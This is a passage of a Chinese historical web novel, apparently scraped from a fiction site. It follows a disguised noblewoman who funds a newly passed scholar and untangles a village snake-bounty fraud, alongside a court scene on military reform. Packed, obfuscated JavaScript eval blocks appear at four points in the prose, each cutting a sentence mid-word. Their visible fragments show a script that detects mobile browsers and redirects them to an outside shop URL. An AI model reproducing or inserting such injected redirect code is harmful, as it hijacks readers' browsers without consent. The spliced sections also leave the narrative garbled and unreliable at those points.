马车停在潘楼大街,再往前就走不动了。卢轸看着易朝群英荟萃、鸾翔凤集的景象,心中颇为感触。朔木人多喜骑射,读书风气不浓,回去之后必要跟姐姐好好商议一下改革科举之事。 “快看快看,传胪官来了。” 不知是谁大喊了一句,卢轸被唤回心神。向远处望去,勉强看到一连串黑顶白缨的红萝卜、绿萝卜从城楼上面的房门里鱼贯而出。 “肃静!肃静!” “淳兴二十一年三月,策试天下贡士二百九十一名。第一甲赐进士及第,第二甲赐进士出身,第三甲赐同进士出身,故兹告示——” “第一甲第一名,江南西路吉州庐陵县,周永。” “第一甲第二名,京畿路开封府,时安弼。” “第一甲第三名,两浙路杭州富阳县,陈璨。” “余下二甲,三甲,验看皇榜。放皇榜!” 左右各两名士兵,将卷起来的巨大黄色布绸放下。人群一拥而上,要不是前面还有阻拦的杈子,怕是个个都要顺着布绸爬上去把每个字都看清楚。 栾素和桑羊来得有些晚,没有挤到前排。如今皇榜一放,两人被后面的人流裹挟着朝前移动,倒比自己挤得快多了。 栾素努力在人群中站定,一边躲着左右因为道喜高高举起的双手,一边辗转腾挪着找寻自己的名字。 “哎呀哎呀,别挤了。邱公子是吧,三甲第七名!邱公子,我家小女……” “公子公子,这里!你的名字在这!” “菩萨显灵了!哈哈哈哈哈哈哈。” 栾素勉强从嘈杂的环境中辨别出了桑羊的声音。是在右边,没办法,栾素只能又朝着右边挤去。 “‘却忆金明池上路,红裙争自绿衣郎’,此诗甚是贴切。”卢轸赞道。 这榜下捉婿在易朝果然流行。不一会儿功夫,卢轸已经看到好几家的姑娘坐在马车里,向父兄遥指中意之人。看起来也不似之前在析津府汉城里听说的那样严苛封闭呀。 临扆看着前面的人堆,在一旁提醒道:“卢兄,咱们要不去找一下栾公子。” 卢轸拍了一下脑门,急切地说:“对对对,鹿乡、归鱼,你们快去前面寻一下,别再被别家抢走了。”开玩笑,现在要是被别人截了去,这几个月的钱不全打水漂了。 鹿乡和归鱼来得十分及时。桑羊看到皇榜后一声惊呼,栾素还没来得及仔细看两眼,身边登时围上了不少人,此时两人正在包围圈里奋力挣扎。 “这位兄台,今科二甲第四,前程似锦啊,可有娶妻,我们家是城西的冯氏布料……” “这位兄台貌比檀郎,与我家女儿甚是相配,我家是城东的七宝社……” “你这人懂不懂先来后到……” 三人一起使力,竟都不能将栾素从捉婿的人堆里拉出来。 没办法,鹿乡只得大喊一声:“哎哎哎,各位各位,莫要争了,我们公子已经有家室了。” 栾素反应极快,马上接上一句:“实在对不住,这事我一人做不了主,得回家跟我娘子商量。” 众人惋惜着散去一大半,鹿乡三人护着栾素离开东华门。 鹿乡边走边数落着桑羊:“大事都能办好,怎么一到小事这么冒失。你看到栾公子的名字,小声告知就是,非得扯着嗓子嚷嚷。刚才那么多人涌上来,伤到人怎么办。” 桑羊低头不语,栾素笑着解围道:“不怪桑羊兄弟,刚才我也差点喊出声,只是这些人围上来得太快了。多谢鹿乡兄弟和这位小兄弟了,鹿乡兄弟在此,可是卢老板回京了?” 栾素刚认识桑羊的时候,以为桑是桑羊的姓。结果被告知,他们的名字都是临扆起的。之前都是桑羊来客栈里捎带些东西给栾素,现下两人很是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卢轸低头看了看自己的衣着,“有什么地方不妥吗?”没什么问题啊,不能被识破了吧。 “那次在客栈,我以为是自己看错了,”栾素犹豫了一下,还是开口了,“卢兄为何有耳孔啊?” “栾兄看得还真是细致,少有人问我这个问题。小时家里请人给我算命,算命的道士说我命太好,父母怕我承不住,这才破了两侧耳垂平衡命数。”卢轸摸了摸耳垂,脸不红心不跳地说出了早就想好的措辞。 朔木国女子和男子都有佩戴耳饰的习惯,只是临扆他们从小因为身份特殊,便没有留耳孔。 栾素讪讪一笑。 马车又晃荡了一会儿,停在了遇仙楼前面。临扆先下车,栾素紧随其后。酒楼门口,早早在此等候的雁翎见了临扆,快步迎上去。 临扆会意,对着栾素和归鱼说道:“栾兄,我这有些生意上的事情要处理。归鱼,带栾公子先上去,三楼最里面的雅间。” 卢轸下车的时候,临扆刚好听完雁翎报上来的消息,“栾素编集书籍、校正脱误有功,会加一个九域图志局编修官的差遣。”临扆凑到卢轸身旁,小声说道。 “果真吗!?”临扆点头打消了卢轸的猜疑。 卢轸幽幽地说道:“还真押对宝了。” 14. 加大筹码 九域图志局,是易朝负责图经管理与编纂的衙门。图经则是以图为主,辅以文字说明的“地理之书”,包含了道里、物产、贡赋、古迹、羽毛鳞介,但最重要的,同时也是卢轸最关心的,是其中记录的山林川泽。 各州郡所绘的地方图经,按定制,都要上交到九域图志局,由编修官统一校勘后再呈至大内御览。 如今栾素得了这个差事,那岂不是正好可以……卢轸一边思索着,一边由临扆领着朝楼上走。 遇仙楼虽说是汴京七十二家正店之一,但不论是从外观望还是内入细察,都比其余的正店要朴素许多,没有那些个彩楼欢门,全靠口口相传的美酒和菜品撑着。平日吸引了许多清流人家或自诩清流人家的官眷来此,倒正合了临扆他们的心思,低调地收集坊间消息。 三楼最里面的雅间名叫“瑶池”,吊窗花竹,各垂帘幕,是遇仙楼六十个阁儿里最大的一个。 栾素之前虽说也来过几次遇仙楼,却都止步于二层。如今坐在这明净古雅的阁间里,心中那些不足为外人道也的纠结心思又冒了出来。 “叫下面走菜吧。栾兄,我们来慢了,莫怪莫怪。”临扆推门而入,亲切的招呼声打断了栾素的思绪。 栾素赶忙起身回礼,“无妨,生意要紧,二位快请入内上座。” 三人在位子上坐定,行菜们端着菜盘拾阶而上,都是遇仙楼拿手的招牌菜。这次到了临扆明面上的地盘,要尽地主之谊的临扆端起酒杯,向栾素说道。 “今日大喜,栾兄弟高中,官途灿烂,当共饮这一大白。” “请!”三人共同举杯。 卢轸放下酒杯,暗自感叹,这酒和姐姐宫里的御容酒简直没法比。 “年前南边的生意出了些问题,只得匆忙南下,没想到竟在南方滞留了五月有余,都没来得及跟栾兄好好道一道家常,在客栈住得可还适应?”卢轸看向栾素问道。 栾素又站了起来,“还未正式向卢兄道谢,客栈房间安排得极为妥帖。谢管事还帮我买了许多之前在霸州不得见的书籍,于科举助力良多。还有冬天供的棉衣和炭火,未入京时,冬天我都是睡在稻草上的,这是第一次遇到这么容易挨过去的冬天。帮扶之恩,栾素铭感五内,不忘于怀。” “栾兄你想差了,我不是这个意思。呃,刚才不是有意想揭你伤疤,也不是想借这个饭局提醒你报恩。我快人快语,引得你多思,向你赔罪了。”卢轸赶忙摆手,这可不是自己想要的效果。 临扆也在一旁帮腔:“是啊是啊,大家都是朋友,把话说开就好了嘛。” 没想到栾素又郑重地说道:“不不不,刚才所说句句皆发自肺腑。我幼时家贫,父亲母亲先后过身,家里只剩我一人,又时常被州县里的官员欺凌,这些都是事实,没有什么不敢面对的。如今刚一进京就得二位帮扶,中了进士,当是老天也不忍心再叫我过苦日子了。” 卢轸知道栾素说的都是实情,之前派去霸州暗访的人回来就是这样说的。 栾素接着说道:“卢兄,在贵宝地叨扰多日,我借这杯酒敬你,日后定找机会正式道谢。” 卢轸有些迟疑地举起酒杯,看着栾素发问:“我走之前,栾兄处事还没得这般世故圆滑,怎得如今……若是公事上遇到什么难处,但说无妨,说不定我们能帮上忙呢。” 栾素微微一笑,说道:“二位真心视我为朋友,为我官场铺路,我也不能只读圣贤之书,不闻交际之道。但二位大可放心,我有自己的底线,必不会误入歧途。” 卢轸开怀一笑,“栾兄都不嫌弃我们这些商贾之人,那这杯酒我便喝下了。” 卢轸和临扆都不喜欢别人给自己布菜。上完菜后,阁间里的侍从都被打发了出去。 栾素说:“之前一直有个问题想问卢兄。” “请讲。” “那日与卢兄夜谈,虽只寥寥几句,但仍可窥见卢兄学识。卢兄为何不参加科考,这岂不是浪费了一身才华?”这个问题在栾素心中想了很久。 卢轸笑着说道:“我读书只是为了知礼义、知善恶、知兴替,高官厚禄非我所愿。若是能像谢灵运、郦道元那样访问名山大川,率性而游,便真可笑叹人生了。” “既如此,又为何不远游呢?总不能是因为钱不够吧。”栾素看着卢轸阔绰的手笔,有些想不明白。 卢轸被这个猜测逗笑了,“哈哈,不是因为钱少,是因为钱多。家里做的生意多,范围也大,人手时常不够。我行二,上头只一个兄长,也得为家里分担一些,暂时不能寄情于山水了。日后栾兄若是听到了什么稀奇的风土人情、水文趣事,烦劳知会于我,虽不能亲身至,好歹神游一番了。” 栾素一口答应下来,“这个好说,若我知晓了,必会告知卢兄。” 临扆给栾素的酒杯里又添了新酒,“栾兄弟,这次我二人置办这次席面,为的不光是贺喜。” 卢轸说道:“说来惭愧,其实早就该这么做的。栾兄如今中榜,说不定不日就要再次授官。以后同僚往来公事、客人过府拜访都是常有的事,不好再住在客栈,免得叫人看轻了。内城梁门往东的果子巷,有一个挂在鹿乡名下三进三出的宅子,里面茶几床榻什么的都已经置办好了。位置也不错,离秘书省那些衙门也近。还有之后的琼林宴、拜黄甲、叙同年,抛洒用的银子也不能少,穿着上也得变一变……” 卢轸滔滔不绝地说着,这是刚才她和临扆在下面商量好的。如今栾素补到了这紧要的差事上面,她们也得加大一些筹码,抓住这个好机会。 “卢兄这是……”栾素有些不明所以。 “果子巷那间宅子,送于栾兄。还有这几日要用到的银钱,我差人送到宅子里。”卢轸淡淡地说完,脸上没有一丝不舍。 临扆接着说道:“瑞锦成衣铺的郭掌柜,是一直和咱们店里有往来的。遇仙楼的行菜、量酒博士们身上穿的,都是从他们家买的成衣,手艺很是不错。等下午,我请郭掌柜亲自过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桑羊一边在斜前方带路,一边留意着栾素。此时栾素的脸色很是精彩,欢喜、纠结、迷茫、欣慰……桑羊有些看不明白。 两人绕着客栈转了一大圈。如今到了内城东南角的角门,栾素拧着的眉心终于摊开了。 一向眼尖的桑羊很快注意到,开口试探性地问道:“公子,咱们现在回去吗?天色已经不早了。” 栾素点点头,稍带着歉意地对桑羊说:“麻烦桑羊小兄弟了,大晚上的还跟我一起出来吹风。” “您这话说得,不过是走走路,就当消食了。小的还从来没有陪过正九品的官儿散过步呢。今天托公子的福,两位老板都给下面发了赏钱,没有您,小的可吃不上这炖肉。怎么还能有怨言。”桑羊说着,还一本正经地给栾素行了一礼,惹得栾素轻笑出声。 今日衙门来人,栾素升任正九品承事郎,右迁大理寺评事,权九州图志局编修官。 “公子,咱们往这边走,这条路回客栈快些。” 15. 解开心结 两人拐进了一个巷子内。 又走了一段路,桑羊忽然弯下腰,捂着肚子说:“公子,小的晚上吃多了,有些闹肚子,怕是得去一趟厕屋了。” 栾素哑然失笑:“下次晚上少吃些,当心积食。快去吧,我在此处等你。” 桑羊急忙朝巷子后面跑去,刚才他们就路过了一间厕屋。 明月高悬,周遭都很安静。 “嗒,嗒,嗒……” 不知道哪里来的,一位头带逍遥巾、身穿青灰色长袍的老者。靠着手中的长竹竿,一边敲打一边跌跌撞撞地朝栾素这边走来。眼瞅着就要撞到墙了,栾素赶忙上前搀住了他。 “这位老人家,当心,前面是墙。” “哦哦,年轻人,谢谢你啦,我这眼睛啊,一到晚上就不顶用了。” 老人家被突然出声的栾素吓了一跳,好在及时停住了,栾素耐心地将他引到正确的方向上。正准备放开,那老者又握住栾素的手,说道:“诶,你这手生得真是不错,年轻人,要不要我摸骨帮你看看命格啊。” 栾素一愣,上下打量了一下老人。此人右眉间藏了一颗痣,长相也是端正,只是眼睛不知怎么搞的,夹着厚厚的一层黄雾,原来竟是位相士,“多谢老人家,只是,晚生并不信命格之说。” 老人也不生气,眯了眯眼睛,努力想要看清什么,“哎呀,不收你钱。这样吧,你把我带到前面有亮光的地方去,我给你摸骨,就当咱俩交换了。” “举手之劳,我带老先生过去就是。交换就不用了。”栾素转头看向桑羊跑走的方向,巷口就在前面,一会桑羊应该能找到他。 “年轻人,刚才我一路走来,未听到有脚步声,这么晚了,可是在等什么人?” “我在此地等一位朋友。” “方才摸你手掌食指和中指皆有生茧,可是位书生?” “老人家洞若观火,晚生确实是位书生。” 老人十分自来熟地跟栾素搭起了话,“书生好啊,我当年要是跟你一样,老老实实当个书生,也不会成现在这副模样。别看我这眼睛半瞎了,咱这名号说出去,那也是响当当的。哎,‘汴京华半仙’你听过吗?” “老人家莫怪,我也刚来京师不久,许是您的名号还没传到我这。” 老人又问道:“你是何时进京的?何方人士,生辰何时?父母健在否?可有取得功名?” 栾素虽然不懂这位老人家为什么提了这么多问题,却也都一一作答,“晚生是霸州人士,去年十月方才入京,如今已满十九……” 老人宽大的衣袍,遮住了下面悄无声色,正掐着小六壬的手。忽的一停,脚步比刚才稳了许多,像是扎在了地上,裹了黄雾的眼睛也露出了几分别样的色彩。 “年轻人,我与你颇为投缘。你虽不信命理之说,但机缘所至,我若不点拨一二,反倒有违天和。我年轻时,做了桩错事,万死难赎其罪,你好好听我说,就当我抵罪了。”老人有些哽咽,又似是在克服某种难以言喻的兴奋。 “你是不是遇到了一个人,她帮了你很多。” 栾素有些惊讶,忙追着问道:“老先生怎知?晚生从进京伊始,就遇到了一位贵人。他敬贤礼士、出手阔绰,我时常觉得自己愧不能受。” 老人重重握住栾素的手腕,“你且安心受着,你以后还给她的会更多。你想要的答案,她会帮你找到。” 这话说的云里雾里,栾素又问道:“老先生这是何意,可否说得明白些。” “不能说了,这次不能说了。”老人已经放开了栾素,自顾自地朝前面走去,“苍天有眼啊……” 栾素还想再追上去。他晚上出门月下散步,正是在想如何“礼尚往来”的问题。这位老人家居然可以一语道破,但是老人家说的答案又是什么?自己刚才已经下定决心,日后要好好回报卢兄,老人家是赞同他的想法吗? “公子!怎么走到这了,我刚才好一顿找。”桑羊从后面追了上来,喊住栾素,“公子是有什么事吗?” 栾素再往前望去,老人的衣角已经淹没在了夜色之中,像是从没来过一样,只在他手腕上留下了一道红印。 “无事,不早了,咱们回去吧。”栾素摇摇头,自己心里想的事是不好对桑羊说的。 西大街,榆林巷。 菁纭和卢轸站在《天下州县图》前讨论这次去南边调查的细节。 卢轸看向走进来的鹿乡问道:“事情办妥了?” 鹿乡回道:“是,大王此计甚妙,栾公子瞧着已然解开了心结。” 卢轸点头,“给那道士点银钱,让他以后不要再出现在汴京城了。” “那道士腿脚伶俐得很,拿了钱,包管明日就出城。”鹿乡笑着说道。 菁纭比划着地图上的范围,说道:“如今南面州县俱已排除,接下来就是北面了。” 卢轸走到书桌旁,“栾素有了九域图志局的差事,说不好什么时候就有和水系有关的消息传来,我不方便再外出。这是新编的册子,上面写了几种检查水系的方法还有实例。你挑几个办事可靠的人,记牢之后把册子烧掉,后面的事情我再安排。” 鹿乡接过册子后,领命退了出去。 又是一日早朝,皇帝季祉下朝后,从紫宸殿一路东行,来到了资善堂。这里是皇子们读书、就学和议政的地方。 太子季浚和齐王季泓正在听翰林学士讲读经史。两位皇子都是皇后萧梵音所出,也是皇帝仅有的两位皇子,平日里关系极好。 “陛下驾到——” 季祉走到最前面的紫檀椅子上坐下,“苏先生先回去吧,朕与太子和齐王说说话。” “是,老臣告退。” 没了外人,季祉的声音听着多了丝慈祥,“都坐下吧,今日苏先生与你们聊的什么?” “老师今日说了前朝的兵制变化。”太子季浚先开口,季祉示意他接着说下去。 “前朝初期,府兵制和均田制相结合。朝廷面向中等以上的人家征集府兵,每三个男丁择选出一人,除其赋税,给予土地,府兵会同时兼顾军农两事。虽没有发放军饷,但百姓为了保护自己得到的土地,在军事训练和对外作战上,实力不容小觑,朝廷也免去了高昂的军费支出。但后期人口增长,国家无田可分,且边患增加,用兵频繁,原本规定的三年一代的府兵戍期不断延长。加之军中将弁侵吞士兵财产,无人再愿当府兵。朝廷只能将府兵制改为募兵制,军费开销比原来大了许多。再者各地节度使贪婪,各自为政,辖内土无丝蚕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506412|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,地绝征赋,又有许多阴兵吃空饷。这才有了末年连绵不断的兵祸。” 季祉看向小儿子,问道:“齐王是怎么看待这两种兵制的?” 季泓虽比兄长小了几岁,议论起政事也是四平八稳,“前朝建国初期,财政空虚,国家无人垦荒,府兵制确实是适合的,百姓既可以自给自足,也能保卫家国。但后期选择募兵制也无可厚非,只是这原本战时聚,安时散的兵士变成了只认边将的私兵,国家倾覆不可避免。不如我朝将军不领兵权来得安稳。” “也不知道现在的这些衙门、军营里,有多少是真正出力的,又有多少是尸位素餐吃空饷的。”季祉像是想到了什么,把手里的佛珠重重拍到了桌上。 父皇一下朝就来了资善堂,面色不愉。季浚试探地问道:“父皇,今日早朝可是有事发生?” “黄詹林此人,你们认为该如何安置?” 原来是黄詹林,季浚了然。“黄相公乃朝廷柱石,出任同中书门下平章事已十年有余。虽说政绩不是多么煊赫,但善战者无赫赫之功,黄相公也算是守成良臣了。” 季祉有些愠怒地说道:“守成良臣,他倒是真守成,当了十余年的宰相,也不见有什么长进。朕明里暗里已经示意过他多次,让他上书自请乞骸骨,朕还能全了君臣之间的一番情意,让他荣归故里。可他呢,食君之禄却无所作为。国家现在需要变革,不能再墨守祖宗之法,他仗着是先帝留下来的人,就知道与朕作对,处处阻挠新政。” 季浚知道先帝仁宗皇帝性情温和,礼贤下士,把朝臣捧得没了分寸,朝中军中积累的弊端都不少。之前留下的老臣们日渐凋零,父皇主意的改革派王玠已经被提到了和黄詹林一样的位置,改革是大势所趋。 但黄詹林依然不肯放手,每每父皇提及改革之事,黄詹林总把父皇和仁宗皇帝作比较,甚至搬出孝道一说来压父皇,三年无改于父之道为孝,父皇登基都多少年了。 黄詹林这么做,为的恐怕也不止是阻挠新政。黄詹林年逾七十,续娶的正妻又无所出,膝下只一个妾室所出的儿子,刚满十八。此子是一纨绔子弟,只靠荫封得了个怀宁县县令。这老相公不肯告老还乡,更多的应是想再庇护儿子几年。 季浚想的清楚,却没打算说出来。做储君的总不好语人是非。 季祉又道:“年前,朕去都进奏院视察的时候,得了个人才,叫栾素的,此人所献的遴选人才之策别出心裁。难得的是其人与朝堂中人无甚牵连,只是资历尚浅,朕给了他个秘书省正字的官儿先历练历练,眼下人也中了进士,说不定以后能帮到你。” “儿臣多谢父皇。”季浚知道这个人,没想到父皇竟是选给自己用的。 “泓儿,你这字还得多下点功夫,平时有不懂的多问问苏先生。”季祉放下手中的字册子,起身朝外面走去,“朕再去看看你们母后。” “恭送陛下。” 季泓好奇地问兄长,“皇兄,这栾素是何人?” “听说是从霸州上来的,这次殿试得了二甲第四。前段时间,从秘书省正字迁到了大理寺评事,好像还领了个九域图志局的差事。”季浚听苏夫子偶然说起过,苏夫子对他的文章赞赏有加。 什么时候去瞧一瞧这个栾素,季浚心想。 16. 水蛇害人 汴京城外,东北方向的一片树林里,卢轸一人骑马走在小道上。 昨天日落时分,一直等不到射玉回来。虽说之前也有过这样的情况,隼儿偶尔贪玩在外面过夜。但一晚过去了,依然不见射玉的影子,卢轸有些担心,一大早就出城朝射玉昨天飞走的方向找去。 四下观望一番,小道上再无其他人。卢轸提气,吹出了一声高亢的口哨,口哨乘着风迅速朝前面扩散。 “唳——” 有回应了!卢轸朝叫声传回来的方向骑去。 行至一片麦田,卢轸在麦田旁边仅有的几棵树上,发现了射玉。还好还好,精神气看起来还不错,也没有受伤,卢轸来之前还担心射玉是不是被猎户捉住了,现在悬着的心总算放下。 这附近都是麦田,除此之外还有一条小河,射玉待在这做什么。 忽然间,射玉从树冠上飞起,树枝被猛地一蹬,左右摇晃哗哗作响。射玉的目标看起来很明确,朝着麦田旁边的那条小河俯冲而下。爪子从河面掠过,快速夹住了一个长条的东西。 是一条水蛇。卢轸有些无奈,这一晚上没回去不会就是为了吃一口蛇肉吧。 射玉落在树上,熟练地擒住水蛇的脑袋,开始大快朵颐。卢轸走近一瞧,树下还有很多撕扯时掉下来的肉末渣渣。好吧,就是为了一口蛇肉。 卢轸坐在麦田旁边等着射玉。朔木那边种粟米的要比小麦多,这么大片的麦田,卢轸在北边没怎么见过。 乌雅等得有些不耐烦,打了个响鼻,有些焦躁地刨着麦田。卢轸赶快起身把乌雅牵远一些,别把人家庄稼给糟蹋了。 “乌雅,这蛇肉你也吃不了呀,回去就给你加草料,别着急,马上就能走了。” 一人一马在河边重新安置下来,卢轸随手捡起一根长树枝,坐在石头上开始戳泥巴地。树枝顺着地面上一个扁圆形的洞口伸了进去,咔哒一声,前梢猛地一顿,卢轸费了点小劲才又把树枝抽出来。 凑近一看,晒得干瘪的树枝前面有些浅黄色的水渍,还带着腥臭的味道,是蛇毒! 这随便一捅就能捅到蛇窝,怪不得射玉在这待了一晚上。卢轸坐的地方是紧挨着小河的一处缓坡,类似刚才的那个扁圆形洞口,这片泥地上的其他地方也有。那石头旁边散落着的黑色团块,应该就是蛇粪了。 卢轸还想再看看,却被远处传来的人声叫住了,“年轻人,快别坐那了,小心有毒蛇!” 看来自己猜的不错,卢轸马上退回到了麦田旁边。来人是个老汉,头戴席帽,皮肤黝黑,扛着一把锄头,应是早起来田里打理庄稼的。 老人有些担心地看向卢轸刚才坐过的地方,“还好你上来得快,下次没事不要再去河边了,这里没有能坐的地方。要是想歇脚的话,去我们家棚子那里坐坐吧。我在那撒了些雄黄粉,会安全些。” 老人指了指麦田后面,那里有个稻子席搭成的小棚子,应该是平时下地做农活时歇息的去处。 “多谢老人家。”卢轸见老人家主动邀请,便顺势答应下来。正好她也有事情想问问清楚。 “老人家,来地里干活啊。这几年收成怎么样?看这麦子马上都能收了。这锄头瞧着不轻,我来帮您拿吧。” “不用不用,老头子我身体好着呐。”民以食为天,老人说起自己种的麦子很是高兴,“从这,一直到那边的田垄,是我们家的地。今年年景不错,不像往年,也不用自己浇水,地里面就挺湿的。种的庄稼不多,但是也够养活一家人了。小哥是做什么的?应该不是本地人吧?咱们这村子里的人可不会坐在河旁边。” 卢轸答道:“确实不是本地人,我和朋友一起,在外地做了一点小生意。刚才正准备进京去呢,路上停下歇歇脚,不想坐到蛇窝上面去了,多谢老人家提醒。” “小事情,用不上说谢。之前也有外地人从咱们这过,知道这里有毒蛇,都是一溜烟地跑走了,小哥这样镇定的还真是少见。” 卢轸笑而不答,以前外出巡营整兵,风餐露宿是常有的事情,什么五毒俱全的东西没见过,她可不害怕蛇。 两人边说边走,老人家的棚子不是很大,刚刚好能够提供两个人的阴凉。棚子旁边也真如老人所说,撒了一圈雄黄粉,正好把棚子圈在中间。 卢轸问道:“老人家,这附近毒蛇很多吗?都到要用雄黄粉的程度了?” 老人放下锄头,叹了一声气说道:“说来也奇怪,前些年都太太平平的,不知道从什么时候开始,河里有了这些害人的玩意儿,不光我们这有,附近几个村子旁边的河里面也有。就你刚才坐旁边的那条河,几天前,和我一个村的老曾头,他家的孙子,从河边路过,腿上就被蛇咬了一口。身子麻了半边,躺在河岸上不能动弹,还好家里人发现得及时,送到医馆才保住了性命。之前还有几次,就是没有老曾头家的走运了,人没救过来。” “毒蛇泛滥,伤人性命,怎么也没有官府出面管一下的。” “怎么没管啊。咱们祥符县的县太爷是个好官,听说这事后,派了人下到乡里帮咱们老百姓抓蛇。地笼子、捕鱼网都用上了,但是县里人手不够,这蛇怎么也除不干净。后来县城里又贴了告示,说凡是祥符县里的人,抓到了毒蛇,一条毒蛇可以拿到县衙换十枚铜板。” 这法子不错,卢轸在心里默默赞道,既解了蛇患,又能给老百姓一笔额外的工钱。可是效果好像不怎么好。 卢轸继续问道:“县令大人真是当世诸葛。只是这悬赏令一下,百姓自然愿意捉蛇换钱。那这附近怎的还有蛇出没呢,是县衙言而无信,不肯给百姓捕蛇钱吗?” 老人家摇摇头,自嘲地说道:“小哥说错了。以前都说当官的坏,拿百姓的,吃百姓的,最后还要反过头来踩老百姓。可谁知道,这次实实在在是反过来了。” 反过来?听起来不是当官的错了。 卢轸心中一动,试探地说道:“不会是有人见捕蛇可以换钱,自己养了这毒蛇拿到县衙去换钱了吧。” “小哥真不愧是做生意的,脑袋就是灵光!我也是昨天刚知道的,一点不错,就是小哥说的那样。刚开始是别的村里的人抓了毒蛇去养,拿到县衙一下换了好几百文。那养蛇的人得意得很,从县衙出来眼睛都快长头顶上去了。他们村里的人眼红,以为是他找到了蛇窝,都去问他蛇窝在哪里。那人刚开始不肯开口,后来是被灌了一顿酒,嘴漏了缝,这才迷迷糊糊地说,是自己养的蛇。村里的人一听,都开始养起了蛇。一传十,十传百,现在没有哪个村里是没人不养蛇的。要我说,这些人的良心都叫狗吃了,县太爷分明是为着咱们老百姓着想,这才整了个悬赏抓蛇。他们拿了这不义之财,也不怕折寿。让我碰上了,非得啐他们一口唾沫。”老人家说话又急又快,应是把心里憋了很久的情绪一股脑全倒出来了。 “这些人如此钻营取巧,官府没有察觉吗?” 卢轸刚问完,麦田的那头又跑过来了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515176|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人,这个年轻些,是县衙里公差的打扮。 “爹!” “这是我们家的小子,就在咱们祥符县的县衙里当捕快。”老人家聊起自己的儿子,颇有些自豪。 “老人家教子有方了。”卢轸发自内心地说着。老人家立身颇正,在周围都是人赚这种快钱的时候,还能公正地说出刚才那番话,实属不易。 “这位小哥是?” “哦,我是进京行商之人,路过河边歇脚,幸被令尊提醒,这才避过了蛇祸。” 捕快说道:“对了爹,说到蛇,县里已经知道几个村子都在养蛇骗钱了,太爷很生气,说今天就要把那悬赏捕蛇的告示给撤掉,省下来的钱再多买些地笼捕蛇。” 卢轸在一旁小声地说:“捕快大哥,容我插一句,此时把告示匆忙撤掉,恐怕不太好。” 捕快有些不解,“小哥这话怎么说,县里为了让乡亲们主动去捕蛇,已经花出去了几箩筐的铜板。没想到这些人脑子里藏了不敞亮的心思,合起伙来骗县里的钱。县衙的钱花出去了,河里的蛇却越来越多。如今真相大白,怎肯容那些人再造假骗钱,必是要把告示撤了的。” 卢轸适时地点拨了一下,“告示撤了,然后呢,那些人手里拿着大把的毒蛇,却没有销路,这些毒蛇会去向何处?” “小哥的意思是说……” “没错,有点良心的,或许还知道要将这些毒蛇处死之后再扔掉。可若是好逸恶劳的人呢,他们可不会管这么多,手里的毒蛇换不成铜板了,这些毒蛇怕是顷刻间就要全扔进河里。” 老人家听了卢轸好,焦急地问道:“这可如何是好,那周围几个庄子不得全让毒蛇给糟蹋了。” 捕快也是免露急色,“小哥可有什么好办法?” 卢轸思忖片刻,说道:“办法是有的,可也不见得有多好。首先告示不能现在就撤,可以换上一张新的告示,就说要过几天才能开始收蛇换钱,一条蛇涨到五十文,就限这几天,过后蛇的价格会变回原来的十文钱。其次要找到这些人豢养毒蛇的地方。这么多的毒蛇离不开人,他们总要去喂食的。或跟踪,或套话,总之一定是一个有水的地方。十文钱都有人冒险养蛇,更何况是五十文。他们养的蛇一时间也孵不出来更多的新蛇,为了五十文一条的价格,只怕过不了多久,这麦田旁边的河里都有人为争抢毒蛇大打出手了。” “这已经是很好的办法了。”捕快高兴地说着,向卢轸连连致谢。 卢轸想了想,又开口说道:“只是这样做,应该还会有一些毒蛇捉不到。或许县里面可以养一些鹅放在河里,《仇池笔记》有记载,鹅能警盗,亦能却蛇。退蛇之策,书中写的很清楚,捕快大哥跟县令大人说上书名,县令大人自会明白。” “好好好,我这就回县里告诉太爷。” 捕快说完转身就要走,结果被父亲喊住了。 “哎,柱子,你这回来一趟是干啥来的,咋什么事没说就要走啊?” “差点忘了,爹,我中午不回来吃午饭了。县里出了件人命案子,听说死的还是京里办差的,太爷重视的得很,从京城大理寺请了个姓栾的大人来帮忙查案,让我们这些捕快都去现场守着呢。” “好,那你快去吧,跟在太爷身边多学学,我中午回去跟你娘说一声。” “好嘞,爹,我走了。” 栾大人?据卢轸所知,大理寺好像就一个姓栾的大人,正是一月前刚刚升迁的栾素。 17. 新官上任 五月初一,一大早,栾素就来到大理寺上值。 说是上值其实不是很准确。自中榜之后,栾素一直在果子巷待阙。授官的前任官员尚未离任时,朝廷会让新科进士先等待官职空缺出来,这段等待期即谓之“待阙”。 